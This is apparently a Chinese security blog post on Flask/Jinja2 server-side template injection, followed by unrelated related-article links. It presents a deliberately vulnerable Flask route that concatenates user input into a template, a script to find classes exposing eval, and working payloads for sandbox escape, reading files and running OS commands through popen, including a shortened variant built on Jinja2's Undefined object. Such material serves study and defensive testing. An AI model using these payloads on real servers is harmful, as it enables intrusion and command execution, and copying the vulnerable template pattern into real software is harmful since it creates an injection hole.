关于Flask SSTI,解锁你不知道的新姿势

前言

本文主要介绍笔者在学习Flask SSTI相关知识时,无意中解锁了新姿势。在研究原理后,从中挖掘出新的奇怪知识点~

前置知识

Flask和SSTI介绍

Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。

SSTI(Server-Side Template Injection),即服务端模板注入攻击。通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。

jinja2 语法

在jinja2中,存在三种语法:

控制结构 {% %} 变量取值 {{ }} 注释 {# #}

jinja2模板中使用{{ }}语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持Python中所有的Python数据类型比如列表、字段、对象等。jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。被两个括号包裹的内容会输出其表达式的值。

沙箱绕过

jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,从而绕过沙箱。

函数和属性解析:__class__         返回调用的参数类型 __bases__         返回基类列表 __mro__           此属性是在方法解析期间寻找基类时的参考类元组 __subclasses__()  返回子类的列表 __globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量 与 func_globals 等价 __builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

获取 object 类:

''.__class__.__mro__[2]     # 在 python2 中字符串在考虑解析时会有三个参考类 str basestring object ''.__class__.__mro__[1]     # 在 python3 中字符串在考虑解析时会有两个参考类 str object {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0]

原理解读

简单尝试

先来看下一个简单的Flask SSTI的实例:from flask import Flask, requestfrom jinja2 import Template

app = Flask(__name__)

@app.route('/')def index():    name = request.args.get('name', 'guest')    t = Template('Hello ' + name)             # 创建模板    return t.render()                         # 渲染

if __name__ == '__main__':    app.run();                                # 启动 flask ,默认 5000 端口

代码很简单,就是访问主页的时候name参数会被渲染到页面。

可以看出来到这里有个反射型XSS,的确如此XSS就是这个位置有可能有SSTI的前奏。

name参数后边也可以输入表达式之类的,例如:

name={{2*2}}

name={{'abc'.upper()}}

可以看到取表达式的值是可以成功的。但是一旦直接调用普通函数就会报错:

name={{abs(-1)}}

后台显示abs未定义:

绕过沙箱

我们来尝试获取 '()' 的类型:name={{().__class__.__name__}}

成功获取'()'的类型tuple(元组)。我们知道Python中所有类型的其实都是object类型,所以下面我们继续尝试:

获取到object类型:

name={{().__class__.__base__.__name__}}

获取到object的所有子类:name={{''.__class__.__mro__[1].__subclasses__().__name__}}

发现子类型有很多,在这里我们需要找到内建模块中含有eval或者open的类型来使我们可以执行代码或读取文件。查找脚本如下:

code = 'eval'             # 查找包含 eval 函数的内建模块的类型 i = 0 for c in ().__class__.__base__.__subclasses__():     if hasattr(c,'__init__') and hasattr(c.__init__,'__globals__') and c.__init__.__globals__['__builtins__'] and c.__init__.__globals__['__builtins__'][code]:            print('{} {}'.format(i,c))        i = i + 1

运行结果:

在Python 2/3版本中有这么多类型的内建模块中都包含eval。这里为了让最后的结果同时兼容Python 2/3版本我们使用索引为77的类型:class 'site.Quitter'。

我们看看在这个class 'site.Quitter'的global环境下都可以执行那些函数:name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']}}

可以看到几个敏感函数eval、open、file等等,应有尽有。这样我们就可以做很多我们想做的事了。

执行代码abs(-1):

name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('abs(-1)')}}

看到abs(-1)已经执行成功,至此我们已经成功绕过了沙箱,执行了本不可执行的代码。

常用可兼容Python 2/3版本的Payload:

读取文件:{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['open']('C:Windowswin.ini').read()}}

命令执行:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()')}}

是不是觉得这些Payload有些长了呢?那么有没有什么办法可以缩减一些长度呢?

解锁新姿势

无意中的尝试

当我在编写脚本和将Payload输入浏览器的时候,因手误无意中组成了一个错误的Payload:name={{().__class__.__base__.__subclasses__().c.__init__.__globals__['__builtins__']['eval']('abs(-1)')}}

执行结果:

竟然访问成功了!

那么为什么会访问成功呢?

().class.base.subclasses()理应返回的是object类型的所有子类的列表,是不应该包含c这个属性的。

理论上应该造成服务端错误返回500,服务器日志显示AttributeError: 'list' object has no attribute 'c'。但是结果却是成功执行了,这让我意识到jinja2的沙箱环境,跟普通Python运行环境还是有很多不同的。

既然这样的话我们就看下这个c对象的init函数到底是个啥?

name={{().__class__.__base__.__subclasses__().c.__init__}}

执行结果:

竟然是一个Undefined类型,也就是说如果碰到未定义的变量就会返回为Undefined类型。而Python官方库是没有这个类型的,也就是说明这个Undefined是jinja2框架提供的。我们在jinja2框架的源码中搜寻,最后在runtime.py中找到了Undefined这个class:

继承的是object类型,并且还有其他函数。为了确认是这个class,我们尝试使用_fail_with_undefined_error:name={{().__class__.__base__.__subclasses__().c._fail_with_undefined_error}}

OK,确认过眼神,我遇见对的class!

既然都是Undefined那我随便定义一个未被定义过的变量也应该是Undefined:

name={{a.__init__.__globals__.__builtins__}}

既然Undefined类可以执行成功,那我们就可以看看他的全局global的内建模块中都包含什么了:name={{a.__init__.__globals__.__builtins__}}

老样子,还是可以看到几个敏感函数eval、open等等,应有尽有。

优化 Payload

对此我们直接优化我们的Payload,使长度大大缩短,可读性也变强了。

优化后的兼容 Python 2/3 版本的 Payload:

读取文件:

{{a.__init__.__globals__.__builtins__.open('C:Windowswin.ini').read()}}

命令执行:{{a.__init__.__globals__.__builtins__.eval('__import__('os').popen('whoami').read()')}}

最后

(0)

相关推荐

  • python世界中形影不离的一对情侣

    文末附有项目代码可供下载 input函数 input()是从控制台获取用户输入的信息,不论用户输入的是什么,input()都会返回字符串类型.<变量> = input(<提示性文字& ...

  • Laravel 8 反序列化分析

    forward laravel的版本已经到了8:这里分析一个laravel8的反序列化漏洞,但是让我感到意外的是,这个漏洞竟然在低版本的laravel上依然可以存在,从根本来说这个漏洞是laravel ...

  • PYthon继承链(egg)的思考和实战

    前言  起初学习ssti的时候,就只是拿着tplmap一顿乱扫,然后进行命令执行,之前深入学习了一下PYthon继承链:今天写个文章进行加深记忆和理解. 基础知识 class 返回一个实例所属的类: ...

  • Py之lightgbm:lightgbm的简介、安装、使用方法之详细攻略

    Py之lightgbm:lightgbm的简介.安装.使用方法之详细攻略 lightgbm的简介 LightGBM 是一个梯度 boosting 框架, 使用基于学习算法的决策树. 它是分布式的, 高 ...

  • 第21天:Web开发 Jinja2模板引擎

    在之前的文章中,简单介绍了Python Web开发框架Flask,知道了如何写个Hello World,但是距离用Flask开发真正的项目,还有段距离,现在我们目标更靠近一些 -- 学习下Jinja2 ...

  • 2021最新Camera Raw 13.2震撼来袭,解锁调色新姿势!

    但是一些习惯于使用PS的摄友们却遇到了新的麻烦,佳能R5.R6等新机型拍摄形成的RAW文件采用了新的编码数据,在PS软件中的Camera Raw中无法打开和进行编辑. 对于这种情况,Adobe公司也是 ...

  • 春季遛娃好去处,婴儿游泳馆解锁宝宝成长新姿势

    春天万物生长,也是孩子发育的黄金期,不论是带孩子外出还是游泳,都能对孩子的身体.心理产生积极影响,有助于孩子生长发育,更重要的是春天适合宝宝游泳,不仅可以达到安全锻炼孩子的要求,还能提升免疫力,解决家 ...

  • 肖战获阅文超级风云男演员,解锁握手新姿势,用‘JIE’展未来

    阅文盛典已经圆满结束,不少男明星都到了现场共襄盛会,其中有朱一龙.王凯.郑恺.罗云熙.张若昀等人.肖战的到来让不少粉丝都很激动,有能力的早早地就守在了现场等候,没机会的早早的就受灾了屏幕前等候,哥哥要 ...

  • 14款现代风爆款别墅,30万解锁建房新姿势,看上哪款赶紧带走

    农村建房,风格越发多种多样,现代风别墅是近几年新兴起的一种建筑风格,是集简约.时尚.个性为一体的别墅,在农村建一栋这样的别墅,别提有多拉风了. 本期精选14款现代风别墅,看多了外面的花花世界,卸下一身 ...

  • 6AT搭配EA211 捷达VS5解锁节油新“姿势”

    中国拥有当下最庞大的新生家庭的80.90后购车群体,面对这样一群更懂车的消费者,他们对于车辆的诉求已远远不止于配置与功能性越多越好,而是"更成熟的车". 恰好,拥有中国市场最大份额 ...

  • 想解锁更多新姿势?30万内就要这5款车,轴距全超2米8!

    中国人买车,都喜欢又大又长的车子,外形显得大一点,看起来就有面子,空间也要大一点,坐起来就够舒服.一般来说,轴距越长,一辆车的整体长度也会越长,同时,车内空间也会越大.所以,轴距也是人们在买车时考虑的 ...

  • 2021最新Camera Raw 13.1震撼来袭,解锁调色新姿势!

    今年佳能可谓是火了一把,EOS R5全画幅微单相机上市开售,第一批预订一空,销售十分火爆! 但是一些习惯于使用PS的摄友们却遇到了新的麻烦,佳能R5.R6等新机型拍摄形成的RAW文件采用了新的编码数据 ...

  • TBtools | LayoutHeatmap,热图-解锁绘制新姿势

    写在前面 Emmm... 这段时间仍然在整理毕业论文的数据.这套数据,维度还是麻烦.表达量数据在做可视化时,总是觉得不够直观.为此,这三四天在外面忙事情的空闲时,我想到了一个不错的实现. 昨天发了一个 ...

  • 摆脱剪刀手,解锁拍照新姿势,怎么摆拍都很漂亮

    很多小姐姐拍照总是不自觉地摆出剪刀手,这样拍出来的照片,千篇一律都是不好看的,所以今天小编教大家拍照摆脱剪刀手,解锁一些拍照新姿势,大家可以学起来,让自己怎么拍照都漂亮. 很多时候,大家不知道怎么面对 ...